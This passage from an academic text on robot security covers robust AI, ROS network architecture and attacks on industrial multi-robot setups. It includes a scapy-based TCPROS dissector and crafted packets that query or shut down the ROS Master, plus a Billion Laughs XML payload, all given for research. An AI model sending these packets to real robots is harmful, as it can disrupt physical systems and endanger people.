2. manipulate the behavior of algorithms by properly crafted inputs, without touching

the algorithm itself

Taking the first option requires the adversary to interfere with the manufacturing process of

the robot itself. Striving for the second option is in some cases easier if proper inputs can be

crafted to mislead the system into unwanted behaviors. The latter has grown into its own

branch of security research known as return-oriented programming [130], which is basically

the art of exploiting buffer overflows to the end of running arbitrary code by properly crafted

inputs to the system. Secure coding practices are the natural countermeasure here. Other

techniques target the planning or AI components more directly and over more mathematical

routes, and we designate the discussion below to more details on this.

To protect against replacements, the whole spectrum of production line security applies,

ranging from transport codes to assure the authenticity of parts along supply chains, and

the loading and execution of digitally signed code from trusted vendors only. Cryptographic

parts in the system, as well as any source of randomness, require particular attention and

special security. For example, random number generators must not be predictable in the

sense that the attacker should be unable to tell (or at least roughly anticipate) what future
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random values may come up based on past recordings. This requirement is obvious in

examples like encryption of streams, where the attacker should not successfully forecast the

key stream for the communication. Certified components like cryptographic random number

generators naturally satisfy this requirement. However, the need extends to any use of game

theory too. Specifically, games implicitly assume that neither player can reliably forecast the

opponent’s actions, and game-theoretic defenses, such as moving targets, strongly rely on

this. Random number generators are therefore crucially required to (i) be unpredictable to

the extent possible, and (ii) to assure the sought shape of the distribution of random numbers

(for cryptography, this is mostly a uniform distribution, but for game theory, arbitrary

distributions can arise).

Adopting a quantitative approach to randomness, it is tempting to think of entropy as

the right measure here, but this can be misleading if the specification is unclear about which

type of entropy: Shannon-entropy, which is a widely understood default of the (unspecific)

term “entropy”, only relates to “average encoding length”, but it is not true that a random

variable with large Shannon entropy is hard to predict (in fact, one can easily construct

random variables with arbitrarily high Shannon entropy but which are trivial to predict

future values for). For random generators, min-entropy is the correct measure of quality

when it comes to unpredictability. Second, the genuineness of random generators needs to

be assured (as for any other component), to avoid so-called randomness substitution attacks,

by which even quantum cryptographic systems could be broken [122]. This again comes

back to the requirement of manufacturing only original parts with assured authenticity. The

problem is particularly prevalent in password security, since measuring password strength

in terms of entropy should be avoided (for being misleading in possibly several ways); game

theory can also help here with proper models to design password choice regimes for robustness

[115].

Overall, the replacement of parts, whether in hard- or software, is only required if the

parts have a “fixed” function that does not change over time. AI is different here in starting
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off as a rather unspecific algorithm “variable” functionality that is, online or offline, trained,

resp. fitted, to its designated purpose. Examples include planning algorithms, relying on a

formalized definition of the world built into the algorithm as an ontology, or more flexible

online-learning algorithms such as deep nets, regression or classification models, etc. At-

tack vectors then arise upon replacing the ontology (or general world description) for the

planning algorithm, or by manipulating the training data for some AI component. The field

of adversarial machine learning [9, 70, 144, 156, 158, 159, 160] is about demonstrating how

sensitive planning and AI algorithms can react upon small changes in their inputs (whether

for training or processing), and how to make the algorithms more robust. In a nutshell,

robustness is gained by the explicit inclusion of a random error in the training data for the

training algorithm, so that a likewise error in the later inputs to the system will not cause

the AI to come up with the wrong decisions. Robust game theory [2] provides a formal

framework, seeking not to optimize the expected behavior, but rather seeking to optimize

the worst-possible behavior within a limited error deviation from the proper inputs. That

is abstractly speaking, if f(x,y) denotes the output under environmental conditions x and

our own action y, conventional AI, decision making or game theory would search for some

action y to optimize

best action y∗ = argmax
y

f(x,y) in the current situation x,

assuming a maximization here (without loss of generality). Contrary to this, robust opti-

mization would allow for some error ε to occur in the description x of the situation, and

perhaps even in the actions that we may take (game-theoretically, this leads to the concept

of a trembling hand equilibrium); so a robust choice of a
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best action is y∗ = argmax
y

worst case outcome under errors︷ ︸︸ ︷(
min

‖δ1‖,‖δ2‖≤ε
f(x + δ1,y + δ2)

)
(2.3)

in the current situation x.

Problem (2.3) states that within some pre-defined (small) tolerance of ε > 0, we allow a

deviation δ1 in any of the input values x, and another likewise bounded deviation δ2 in the

action that we take, and optimize the worst that can happen under these possible deviations,

which is the minimization over the deviations (the norms ‖δ1‖ , ‖δ2‖ appear here only for

technical reasons of the optimization and only express that the errors cannot be arbitrarily

large). Robust AI instantiates (2.3) by letting f be the deviation between training data and

the current output of the AI algorithm, e.g., a deep neural network. Planning algorithms

can be designed as an instance of (2.3) by letting ε be interpreted as a measure of how

accurate sensor information can be. In that case, ε has a direct interpretation of necessary

accuracy for the sensor data to lead to reasonable decisions; or equivalently, the attacker

can manipulate sensor data up to a deviation of ε before the processing algorithm outputs

unusable decisions. This is especially useful for image or object recognition: many examples

of adversarial machine learning apply to manipulations of images that are invisible for the

human eye, but can strongly interfere with the pattern recognition algorithm if it is based on

AI, as [155] impressively demonstrates. The robust training of an AI algorithm can avoid the

problem by allowing for the training images to deviate slightly at random (up to a tolerance

of ε), but still yielding the right results. The exact magnitude of ε (and hence the particular

norm in (2.3) then depends on how much difference < ε would elude the human eye, and at

which difference > ε the manipulation would become visible and recognizable in the training

data already).

Zero-sum games, as we cover in detail in Chapter 5, assign the inner optimization to

the adversary directly, thus seeking the best decision under anything that the attacker can
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do. The error tolerance ε imposed in (2.3) is then replaced by the entire action space of

the attacker (thus retaining some limitation on what can happen, only in a different way as

by a numeric error), but the concept remains the same: zero-sum game models for security

provide the best advice against any action that the attacker can mount within a pre-defined

set of possibilities. The game in Section 5.1 is one particular instance of such reasoning. We

remark, however, that the unpredictability of actions is not often address in game-theoretic

optimizations, but are not difficult to include in a multi-criteria game for decision making

[111, 126]. Nonetheless, a randomness substitution attack against a game-theoretic defense

system could be the replacement of an equilibrium strategy by what the adversary prefers.

This can be achieved by replacing the random generators used for the decision component.

This closes the loop back to the need of having authentic components and trusted platforms

to run all algorithms. Likewise, crafted inputs can make AI decision support components

behave in any way that the adversary prefers unless the training was performed using robust

methods. It is thus generally not recommended to take AI components just from “ready-to-

use” libraries when constructing a robot, but rather to carefully evaluate the implementation

and training of all decision support components, with an eye on robustness.
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Chapter 3

Security of Networked Robotic

Systems

Robotics is the art of system integration. An art that aims to build machines that operate

autonomously: robots. A robot is often understood as a system with networks of devices. A

system of systems. One that comprises sensors to perceive its environment, actuators to act

on it and a compute substrate (often CPU-based) that processes it all and commands ac-

cording to its use case. All these devices are interconnected through one or several networks.

Networking security in robotics is thereby of utmost importance.

The following sections will summarize some security considerations for networked robotic

systems. First, we will discuss intra-robot network security in ROS. Second, we will analyze

inter-robot network security aspects for an industrial setup and finally, we will look into

more advanced topics to consider when looking at networked robotic systems.

3.1 Security in ROS Networked Systems

ROS is rapidly becoming a standard in robotics however as previously introduced, it was

not designed with security in mind. Nonetheless, it presents one of the most widely adopted

and accepted examples of intra-networked robotic systems. All components that form ROS-
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based robots are abstracted and integrated into a common data structure: the ( ROS)

computational graph. It models the overall robotic behavior through each individual

computation represented as a Node, communicating with other computation Nodes through

Topics (a continuous dataflow of information within a databus) and other abstractions.

The computational graph not only helps visualize the robotic behavior but also drives the

design process by partitioning each robotic computation into Nodes. More specifically, it

abstracts the networked nature of robotic systems and helps software engineers develop

the behavior without caring about the underlying networks connecting robot components

(sensors, actuators, and cognition, among others).

From an electrical engineering’s perspective, the computational graph can be understood

as the schematic of the overall robot whereas the layout (following with electrical engineering

terms), the one capturing the physical networks interconnecting robot components, is often

denominated as the ( ROS) data layer graph. The data layer graph thereby represents

the physical groupings and connections of robot components that implement the behavior

modeled in the computational graph.

From a security perspective, we should care about both. Figure 3.1 provides a simplified

example. The computational graph reflects functional aspects of the robot and thereby

should be hardened to avoid exposed flaws that empower attackers to influence the robot

behavior. At the same time, the data layer graph reflects the physical network map of the

robot and any attack vector will need to leverage entry points in such a physical map. Cut-

The-Rope (Section 5.1 is one game-theoretic model played on exactly the logical graph-

theoretic layout of a system, describing penetration attempts. Other game models focus on

interceptions in the orchestration of components, such as the synchronization between UAV;

see Section 5.2.2 for this and further examples).

In this section, we analyze both and walk the reader through common security issues

observed in ROS networked systems. Particularly, we highlight how through exploiting the

ROS architecture or the underlying networking protocols, security is easily compromised
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Figure 3.1: An exemplary ROS-based robotic system represented by its abstractions, the
computational graph (top) and the data layer graph (bottom).

inside a robot’s network.

3.1.1 Instrumenting the ROS data layer graph

As with other branches of testing, security testing often requires engineers to instrument

their subjects so that results become measurable. To explore both the ROS computational

graph and the data layer graph, we develop a Python implementation of the TCPROS
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transport layer for ROS. This implementation is built on top of scapy, a packet manipulation

framework that can forge or decode packets of a wide number of protocols. Listing 3.1

presents a portion of one such implementation1 often included in security-oriented toolboxes

like alurity [73].

Listing 3.1: The portion of a package dissector and crafter for TCPROS transport layer

targeting ROS Melodic Morenia 1.14.5.

1 # Copyright (C) Al i a s Robotics <c on t a c t@a l i a s r obo t i c s . com>

2 # This program i s publ i shed under a GPLv3 l i c e n s e

3 # Author :

4 # Victor Mayoral−Vi l che s <v i c t o r@a l i a s r o b o t i c s . com>

5

6 ”””

7 TCPROS transpor t l ay e r f o r ROS Melodic Morenia 1 . 1 4 . 5

8 ”””

9 # scapy . cont r ib . d e s c r i p t i o n = TCPROS transpor t l ay e r f o r ROS Melodic Morenia

10 # scapy . cont r ib . s t a tu s = loads

11 # scapy . cont r ib . name = tcpros

12

13 import s t r u c t

14 from scapy . f i e l d s import (

15 LEIntField ,

16 StrLenField ,

17 Fie ldLenFie ld ,

18 StrFixedLenFie ld ,

19 PacketFie ld ,

20 ByteField ,

21 StrF ie ld ,

22 )

23 from scapy . l a y e r s . i n e t import TCP

24 from scapy . l a y e r s . http import HTTP, HTTPRequest , HTTPResponse

25 from scapy . packet import ∗

26

27

28 class TCPROS( Packet ) :

29 ”””

30 TCPROS i s a t ranspor t l ay e r f o r ROS Messages and Se rv i c e s . I t uses

31 standard TCP/IP socke t s f o r t r an spo r t i ng message data . Inbound

32 connect ions are r e c e i v ed v ia a TCP Server Socket with a header

33 conta in ing message data type and rout ing in format ion .

34

35 This c l a s s f o cu s e s on captur ing the ROS Slave API

36

37 An example package i s presented below :

38

39 B0 00 00 00 26 00 00 00 63 61 6C 6C 65 72 69 64 . . . . & . . . c a l l e r i d

1Disclaimer: By no means the authors or Alias Robotics encourages or promote the unauthorized
tampering with running robotic systems. This can cause serious human harm and material damages. The
portion of the code disclosed is meant only for academic purposes.
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40 3D 2F 72 6F 73 74 6F 70 69 63 5F 38 38 33 30 35 =/ro s top i c 88305

41 5F 31 35 39 31 35 33 38 37 38 37 35 30 31 0A 00 1591538787501 . .

42 00 00 6C 61 74 63 68 69 6E 67 3D 31 27 00 00 00 . . l a t ch i ng =1 ’ . . .

43 6D 64 35 73 75 6D 3D 39 39 32 63 65 38 61 31 36 md5sum=992ce8a16

44 38 37 63 65 63 38 63 38 62 64 38 38 33 65 63 37 87 cec8c8bd883ec7

45 33 63 61 34 31 64 31 1F 00 00 00 6D 65 73 73 61 3ca41d1 . . . . messa

46 67 65 5F 64 65 66 69 6E 69 74 69 6F 6E 3D 73 74 g e d e f i n i t i o n=st

47 72 69 6E 67 20 64 61 74 61 0A 0E 00 00 00 74 6F r ing data . . . . . to

48 70 69 63 3D 2F 63 68 61 74 74 65 72 14 00 00 00 p ic=/chat t e r . . . .

49 74 79 70 65 3D 73 74 64 5F 6D 73 67 73 2F 53 74 type=std msgs /St

50 72 69 6E 67 r ing

51

52 Sources :

53 − http :// wik i . ro s . org /ROS/TCPROS

54 − http :// wik i . ro s . org /ROS/Connection%20Header

55 − https :// docs . python . org /3/ l i b r a r y / s t r u c t . html

56 − https :// scapy . readthedocs . i o /en/ l a t e s t / b u i l d d i s s e c t . html

57

58 TODO:

59 − Extend to support sub s c r i b e r ’ s i n t e r a c t i o n s

60 − Unify with sub s c r i b e r ’ s header

61

62 NOTES:

63 − 4−byte l ength + [4−byte f i e l d l ength + f i e l d=value ]∗

64 − Al l l ength f i e l d s are l i t t l e −endian i n t e g e r s . F i e ld names and va lues are s t r i n g s .

65 − Cooked as o f ROS Melodic Morenia v1 . 1 4 . 5 .

66 ”””

67

68 name = ”TCPROS”

69

70 def gu e s s pay l o ad c l a s s ( s e l f , payload ) :

71 s t r i ng pay l oad = payload . decode ( ” i so −8859−1” ) # decode to s t r i n g f o r search

72

73 # f l a g i nd i c a t i n g i f the TCPROS encoding format i s met ( at a gene ra l l e v e l )

74 # 4−byte l ength + [4−byte f i e l d l ength + f i e l d=value ]∗

75 t o t a l l e n g t h = len ( payload )

76 t o t a l l e ng th pay l o ad = s t ru c t . unpack ( ”<I ” , payload [ : 4 ] ) [ 0 ]

77 remain = payload [ 4 : ]

78 remain len = len ( remain )

79 # f l a g o f the encoding format

80 f l a g encod ing f o rmat = ( t o t a l l e n g t h > t o t a l l e ng th pay l o ad ) and (

81 t o t a l l e ng th pay l o ad == remain len

82 )

83

84 f l a g e n c od i n g f o rma t s ub f i e l d s = False

85 i f f l a g encod ing f o rmat :

86 # f l a g i nd i c a t i n g that sub− f i e l d s meet

87 # TCPROS encoding format :

88 # [4−byte f i e l d l ength + f i e l d=value ]∗

89 f l a g e n c od i n g f o rma t s ub f i e l d s = True

90 while remain :

91 f i e l d l e n b y t e s = s t ru c t . unpack ( ”<I ” , remain [ : 4 ] ) [ 0 ]

92 cur rent = remain [ 4 : 4 + f i e l d l e n b y t e s ]

93 remain = remain [ 4 + f i e l d l e n b y t e s : ]

94

95 i f int ( f i e l d l e n b y t e s ) != len ( cur rent ) :
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96 # pr in t (”BREAKING − i n t ( f i e l d l e n b y t e s ) != len ( cur rent )”)

97 f l a g e n c od i n g f o rma t s ub f i e l d s = False

98 break

99

100 i f (

101 ” c a l l e r i d ” in s t r i ng pay l oad

102 and f l a g encod ing f o rmat

103 and f l a g e n c od i n g f o rma t s ub f i e l d s

104 ) :

105 return TCPROSHeader

106 e l i f f l a g encod ing f o rmat and f l a g e n c od i n g f o rma t s ub f i e l d s :

107 return TCPROSBody

108 e l i f f l a g encod ing f o rmat :

109 return TCPROSBodyVariation

110 e l i f ”HTTP/1.1 ” in s t r i ng pay l oad and ” text /xml” in s t r i ng pay l oad :

111 # NOTE:

112 # − ”HTTP/1 . 1 ” : corresponds with melodic

113 # − ”HTTP/0 . 3 ” : corresponds with k i n e t i c

114

115 # return HTTPROS # corresponds with XML−RPC c a l l s (Master and Parameter APIs )

116 return HTTP # use old−f a sh ioned HTTP, which g i v e s l e s s c on t r o l over f i e l d s

117

118 e l i f ”HTTP/1.0 ” in s t r i ng pay l oad and ” text /xml” in s t r i ng pay l oad :

119 return HTTP # use old−f a sh ioned HTTP, which g i v e s l e s s c on t r o l over f i e l d s

120 else :

121 # return Packet . gu e s s pay l o ad c l a s s ( s e l f , payload )

122 return Raw( s e l f , payload ) # re turns Raw laye r grouping not only the

123 # payload but t h i s l ay e r i t s e l f .

124

125 . . .

3.1.2 The ROS computational graph

Armed with listing 3.1, introspecting the computational graph in search for insecurities be-

comes a simpler process. Starting from the reproduction of common requests between nodes,

a researcher would incrementally use a variety of techniques to challenge the resilience of the

computational graph when presented with uncommon or unexpected packages. For example,

listing 3.2 shows how to craft a package to obtain the PID of the ROS Master (local pro-

cess PID in the machine where it’s running). This information disclosure vulnerability leads

to no further security hazards however, variations of this construct will. Another example

introduced in listing 3.3 allows intra-network attacks that will frustrate the computational

graph as a whole, shutting it down.
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Listing 3.2: Default package to execute ”getPid” method of Master API

1 package getPid = (

2 IP ( ve r s i on=4, i h l =5, tos=0, f l a g s =2, f r ag =0, dst=” 1 2 . 0 . 0 . 2 ” )

3 / TCP(

4 sport =20000 ,

5 dport=11311 ,

6 seq=1,

7 f l a g s=”PA” ,

8 ack=1,

9 )

10 / TCPROS( )

11 / HTTP()

12 / HTTPRequest (

13 Accept Encoding=b” gz ip ” ,

14 Content Length=b”159” ,

15 Content Type=b” text /xml” ,

16 Host=b” 12 . 0 . 0 . 2 : 1 1 3 1 1 ” ,

17 User Agent=b” xmlrpc l ib . py /1 . 0 . 1 (by www. pythonware . com) ” ,

18 Method=b”POST” ,

19 Path=b”/RPC2” ,

20 Http Vers ion=b”HTTP/1.1 ” ,

21 )

22 / XMLRPC()

23 / XMLRPCCall(

24 ve r s i on=b”<?xml ve r s i on = ’1.0 ’?>\n” ,

25 methodcal l opentag=b”<methodCall>\n” ,

26 methodname opentag=b”<methodName>” ,

27 methodname=b”getPid ” ,

28 methodname closetag=b”</methodName>\n” ,

29 params opentag=b”<params>\n” ,

30 params=b”<param>\n<value><s t r ing >/ro s top i c </s t r ing ></value>\n</param>\n” ,

31 params c lose tag=b”</params>\n” ,

32 methodca l l c l o s e t ag=b”</methodCall>\n” ,

33 )

34 )

Listing 3.3: Default package to execute ”shutdown” method of Master API

1 package shutdown = (

2 IP ( ve r s i on=4, i h l =5, tos=0, f l a g s =2, dst=” 1 2 . 0 . 0 . 2 ” )

3 / TCP(

4 sport =20001 ,

5 dport=11311 ,

6 seq=1,

7 f l a g s=”PA” ,

8 ack=1,

9 )

10 / TCPROS( )

11 / HTTP()

12 / HTTPRequest (

13 Accept Encoding=b” gz ip ” ,

14 Content Length=b”227” ,

15 Content Type=b” text /xml” ,

16 Host=b” 12 . 0 . 0 . 2 : 1 1 3 1 1 ” ,
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17 User Agent=b” xmlrpc l ib . py /1 . 0 . 1 (by www. pythonware . com) ” ,

18 Method=b”POST” ,

19 Path=b”/RPC2” ,

20 Http Vers ion=b”HTTP/1.1 ” ,

21 )

22 / XMLRPC()

23 / XMLRPCCall(

24 ve r s i on=b”<?xml ve r s i on = ’1.0 ’?>\n” ,

25 methodcal l opentag=b”<methodCall>\n” ,

26 methodname opentag=b”<methodName>” ,

27 methodname=b”shutdown” ,

28 methodname closetag=b”</methodName>\n” ,

29 params opentag=b”<params>\n” ,

30 params=b”<param>\n<value><s t r ing >/rosparam−92418</ s t r ing ></value>\n</param>\n<param>\n<value><s t r ing >4L145 R080T1C5</s t r ing ></value>\n</param>\n” ,

31 params c lose tag=b”</params>\n” ,

32 methodca l l c l o s e t ag=b”</methodCall>\n” ,

3.1.3 The ROS data layer graph

Below the computational graph sits the data layer graph, which includes lower-layer proto-

cols. Various security issues affect the ROS data layer graph [77], including TCP’s SYN-ACK

DoS flooding or FIN-ACK flood attacks. These and many more attacks can easily be im-

plemented using simple constructs that make use of 3.1. As an additional example, listing

3.4 presents an XML External Entity attack (codenamed as the Billion Laughs attack) that

leverages flaws in the underlying XMLRPC protocol. This flaw was reported as part of a

technical report first [136] and applies to ROS Indigo distro and previous ones.

Listing 3.4: A package that crafts the billion laughs attack exploiting a vulnerability in the

XMLRPC underlying protocol.

1 package xxe = (

2 IP ( ve r s i on=4, i h l =5, tos=0, f l a g s =2, dst=” 1 2 . 0 . 0 . 2 ” )

3 / TCP(

4 sport =20000 ,

5 dport=11311 ,

6 seq=1,

7 f l a g s=”PA” ,

8 ack=1,

9 )

10 / TCPROS( )

11 / HTTP()

12 / HTTPRequest (

13 Accept Encoding=b” gz ip ” ,

14 Content Length=b”227” ,

15 Content Type=b” text /xml” ,
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16 Host=b” 12 . 0 . 0 . 2 : 1 1 3 1 1 ” ,

17 User Agent=b” xmlrpc l ib . py /1 . 0 . 1 (by www. pythonware . com) ” ,

18 Method=b”POST” ,

19 Path=b”/RPC2” ,

20 Http Vers ion=b”HTTP/1.0 ” ,

21 )

22 / XMLRPC()

23 / XMLRPCCall(

24 ve r s i on=b”<?xml ve r s i on = ’1.0 ’?><!DOCTYPE s t r i n g [< !ENTITY a0 ’ dos ’ ><!ENTITY a1 ’&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0 ; ’><!ENTITY a2 ’&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1 ; ’><!ENTITY a3 ’&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2 ; ’><!ENTITY a4 ’&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3 ; ’><!ENTITY a5 ’&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4;&a4 ; ’><!ENTITY a6 ’&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5;&a5 ; ’><!ENTITY a7 ’&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6;&a6 ; ’><!ENTITY a8 ’&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7;&a7 ; ’> ]>\n” ,

25 methodcal l opentag=b”<methodCall>\n” ,

26 methodname opentag=b”<methodName>” ,

27 methodname=b”getParam” ,

28 methodname closetag=b”</methodName>\n” ,

29 params opentag=b”<params>\n” ,

30 params=b”<param>\n<value><s t r ing >/rosparam−924sdasds18</s t r ing ></value>\n</param>\n<param>\n<value><s t r ing >/r o s d i s t r o &a8 ; </s t r ing ></value>\n</param>\n” ,

31 params c lose tag=b”</params>\n” ,

32 methodca l l c l o s e t ag=b”</methodCall>\n” ,

33 )

34 )

3.1.4 Intrusion and Anomaly Detection

As with any networked or distributed systems, intrusion and anomaly detection is one of

the standard tools for security precautions [39, 40, 41]. Many applications in robotics com-

monly follow deterministic patterns of information flows, communications, and motions (e.g.,

when robots are designed and assembled in a standardized way), although exceptions may

exist. When the robot is programmed to automate repetitive mechanical tasks, collected

data, including sensor information, moves, and locations, can be accurately predicted by

internal models. The data can be naturally used for the detection of anomalies upon every

“significant?? deviation from the expected, i.e., programmed, behaviors.

One aspect to take into account when designing Intrusion Detection Systems (IDS) for

robots is the fragmented way of the design process. Robot manufacturers often implement

their wire-level protocol, with its meta-fields and payloads which make it difficult to adapt

traditional (general purpose) IDS to robotics. For IDS mechanisms to be effective, they need

to account for the particularities of robot protocols and extend their logic with appropriate

package dissectors2. To this end, there is a need to complement conventional IDS and run

2Note that we have introduced in Section 3 a dissector for ROS, which uses a particular communication
middleware assumed over Ethernet networks.
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customized IDS in parallel, either as network-based, host-based, or hybrid implementation,

using black- or whitelisting of patterns in the network traffic or log files, and event correlation

to detect attacks.

The whole spectrum of detection technologies for general cyber-physical systems applies

to robots [134]. The automated analysis of log files is of particular relevance for robotics

when it comes to matters of accountability [35, 125] in forensic investigations after accidents

or observed misbehavior of a robot. Finally, the attempts to poison training or input data

to AI decision support components, such as outlined in Section 2.4, are likewise nothing but

anomalies or intrusion attempts, and IDS can help detect them before they cause any harm.

However, it is generally advisable to consider any such precautions as an auxiliary security

measure. Developers and users cannot completely rely on IDS for security. Instead, we need

to design proactive and strategic defense mechanisms for further protections, which will be

discussed in Section 5.

3.2 Security for Industrial Multi-Agent Robotic Sys-

tems

Robotic systems in industry are generally composed by multiple robot endpoints intercon-

nected and coordinated. Accordingly, on top of intra-robot network security issues described

in the previous sub-section another dimension arises, inter-robot network security. Figure

3.2 presents one such synthetic industrial scenario [77] to study the interactions between

different robots and the insecurities arising from them. The scenario presents an assembly

line operated by ROS-powered robots while following industrial guidelines on setup and

security. The industrial layout is built following NIST Special Publication 800-82 Guide to

ICS Security [135] as well as some parts of ISA/IEC 62443 family of norms [32]. Each robot

is connected to a Linux-based control station that runs the ROS-Industrial drivers using

its corresponding network segment. Control stations are interconnected and hardened by
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Figure 3.2: Use case architecture diagram. The synthetic scenario presents a network segmented in 5
levels with segregation implemented following recommendations in NIST SP 800-82 and IEC 62443 family
of standards. There are 6 identical robots from Universal Robots presenting a variety of networking setups
and security measures, each connected to their controller. Ŝn and Ĉn denote security hardened versions of
an n control station or controller respectively.

following the guidelines described in a technical report [3]. To simplify, for the majority

of the cases we assume that the controller is connected to a dedicated Linux-based control

station that runs ROS Melodic Morenia distribution and the corresponding ROS-Industrial

driver. For those cases that do not follow the previous guideline, the robot controller oper-

ates independent from the ROS network (e.g. robots R3 and R6) but still shares the same

network segment, being connected to control stations Ŝ1, Ŝ2, Ŝ4 and Ŝ5.

The following subsections describe several security issues on the industrial multi-agent

robotic setup of Figure 3.2.
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3.2.1 A1: Targeting ROS-Industrial and ROS core packages from

adjacent networks

Figure 3.3: Diagram depicting an attack targeting ROS-Industrial and ROS core
packages. The attacker exploits a vulnerability present in a ROS package running in Ŝ7

(actionlib). Since Ŝ7 is acting as the ROS Master, segregation does not impose restrictions on
it and it is thereby used to access other machines in the OT-level to send control commands.

To reason about this attack, we adopt the position of an attacker with access and privi-

leges in a development machine D1 in the IT side of the scenario, Level 4. Reaching such

machine is beyond the scope of this particular study but generally consists of an attacker

using either a Wide Area Network (WAN) (such as the Internet) or a physical entry-point to

exploit an existing vulnerability in the development machine D1 and obtain a certain amount

of privileges (step 1 of the attack diagram of Figure 3.3). Further to that, a privilege esca-
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lation will be performed by the exploitation of additionally vulnerable services, which allows

the attacker to eventually gain privileges into D1 and command it as desired (step 2). From

D1, an attacker would pivot into Level 3 by exploiting a vulnerability or misconfiguration

(or a combination of both [77]) in the ROS core and/or ROS-Industrial packages (step

3). Having gained control of the Central Control Station S7 the attacker could decide to es-

tablish a reverse channel of communications directly –avoiding the developer station– (step

4) or proceed to control OT (Level 2 and below) by sending commands via the ROS

computational graph (step 5).

3.2.2 A2: Targeting underlying network protocols

Another approach to attacking multi-agent robotic systems consists of targeting underlying

network protocols interconnecting the different robot endpoints. This possibility is depicted

in Figure 3.4.

As pointed out previously, ROS-Industrial software builds on top of ROS packages

which also build on top of traditional networking protocols at OSI layers 3 and 4. It’s

not uncommon to find ROS deployments using IP/TCP in the Network and Transport

levels of the communication stack. The attack demonstrated in Figure 3.4 consists of a

malicious attacker with privileged access to an internal ROS-enabled control station (e.g.

S1) disrupting the ROS-Industrial communications and interactions of other participants

of the network. The attack leverages the lack of authentication in the ROS computational

graph previously reported in other vulnerabilities of ROS such as RVD#87 or RVD#88.

Without necessarily having to take control of the ROS computational graph, by simply

spoofing another participant’s credentials (at the network level) and either disturbing or

flooding communications within infrastructure’s Level 2 (Process Network), researchers

were able to demonstrate how to heavily impact the ROS and ROS-Industrial operation.

45

https://github.com/aliasrobotics/RVD/issues/87
https://github.com/aliasrobotics/RVD/issues/88


Figure 3.4: Architecture diagram depicting attacks to ROS via underlying net-
work protocols. Depicts two offensive actions performed as part of A2. The SYN-ACK
DoS flooding does not affect Ŝ7 due to hardening. In green, a previously established ROS-
TCP communication between Ŝ4 and Ŝ7. In red, the FIN-ACK attack which successfully
disrupts the network interaction leveraging flaws in underlying network protocols.

3.2.3 A3: Targeting a Control Station through a PitM attack

A PitM attack targeting a control station (e.g. Ŝ2) consists of an adversary gaining access to

the network flow of information and sitting in the middle, interfering with communications

between the original publisher and subscriber as desired. Figure 3.5 depicts how PitM de-

mands to conflict not just with the resolution and addressing mechanisms but also to hijack

the control protocol being manipulated (ROSTCP in this particular scenario). The attack

gets initiated by a malicious actor gaining access and control of a machine in the network

(Step 1). Then, using the compromised computer on the control network, the attacker
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Figure 3.5: Use case architecture diagram with a PitM attack: the attackers infiltrate
a machine (step 1) which is then used to perform ARP poisoning (step 2) and get attackers
inserted in the information stream (step 3). From there, attackers could replay content or
modify it as desired.

poisons the ARP tables on the target host (Ŝ7) and informs its target that it must route

all its traffic through a specific IP and hardware address (Step 2, i.e., the attackers’ owned

machine). By manipulating the ARP tables, the attacker can insert themselves between

Ŝ7 and Ŝ2
3 (Step 3). When a successful PitM attack is performed, the hosts on each side

of the attack are unaware that their network data is taking a different route through the

adversary’s computer.

Once an adversary has successfully inserted their machine into the information stream, they

3The attack described in here is a specific PitM variant known as ARP PitM.
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then have full control over the data communications and could carry out several types of

attacks. Figure 3.5 shows one possible attack realization method which is the replay attack

(Step 4). In its simplest form, captured data from Ŝ7 is replayed or modified and replayed.

During this replay attack, the adversary could continue to send commands to the controller

and/or field devices to cause an undesirable event while the operator is unaware of the true

state of the system.

3.2.4 A4: Targeting a vulnerable robot endpoint to compromise

the network

One of the interesting observations made by [77] is that often, robot endpoints are consid-

ered as part of the critical path of production and manufacturing processes. Correspond-

ingly, unless there’s a functional issue and production stops, robots are rarely modified or

updated (their firmware). This leads to (robot) connected endpoints that are easy to tar-

get and from where an attacker could pivot into the industrial networks. Figure 3.6 de-

picts one of such scenarios where Mayoral-Vilches et al. attempted first to compromise Ĉ6

(failed) and then C3 using previously reported and known (yet unresolved) zero-day vul-

nerabilities in the Universal Robots CB3.1 controller. Examples of such zero-days include

RVD#1413 (CVE-2016-6210), RVD#1410 (CVE-2016-6515), RVD#673 (CVE-2018-10635)

or RVD#1408 (CVE-2019-19626) among others. Due to the lack of concerns for security

from manufacturers like Universal Robots, these end-points can easily become rogue and

serve as an entry point for malicious actors. [77] successfully prototyped a simplified attack

using RVD#1495 (CVE-2020-10290) and taking control over C3. From that point on, they

demonstrated how one could access not just ROS network but also the underlying network,

pivot (A1), disrupt (A2) or PitM (A3) as desired. Such vulnerabilities are useable to define

game-theoretic defenses as they set the action spaces for the attacker as a player in the game

(see Section 5.2.1) and can determine the playground, as in Section 5.1.
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Figure 3.6: Use case architecture diagram with an insider threat: In orange, we
illustrate a failed attack over a Universal Robots controller hardened with the Robot Immune
System (RIS). In red, a successful unrestrained code execution attack over a Universal Robots
controller with the default setup and configuration allows us to pivot and achieve both G1

and G2.
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Chapter 4

Security Practice and Design

An obvious proposal towards hardening the security is always the adoption of stronger cryp-

tographic algorithms, such as quantum computer resistant schemes [12], called post-quantum

cryptography. It is fair to note that such schemes do not per se require quantum computing,

but are rather based on (quite classical) calculations that are believed to remain intractable

to solve even on quantum computers. The most prominent insecure problems on which

public-key cryptography can be based are factorization or discrete logarithms, both of which

are tractable by quantum computing using the algorithms of [131]. Reports on the integra-

tion and feasibility studies of post-quantum cryptographic schemes are provided by [141],

and found the computational overhead to be comparable, yet partly even outperforming

some more traditional security protocols on OSI layer three. The perhaps more interesting

application of quantum computing is herein for enhanced capabilities of the robot percep-

tion, reasoning, and general functionality, as has been studied by [105], with a diverse and

rich discussion about quantum computing capabilities for future robotic systems.

4.1 Penetration Testing

Returning to Section 2.3.3 and the specific examples therein (see Figures 2.1, 2.2, and 2.3),

filling the roles of each player (master, slave, publisher, subscriber, etc.) is doable by tools
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like ROSPenTo [61] or Roschaos [147]. Both have different primary abilities to either conduct

precise manipulations on a small scale (ROSPenTo) or destroy the network with large force

API (Roschaos). Both tools come with command line interfaces allowing to script attacks

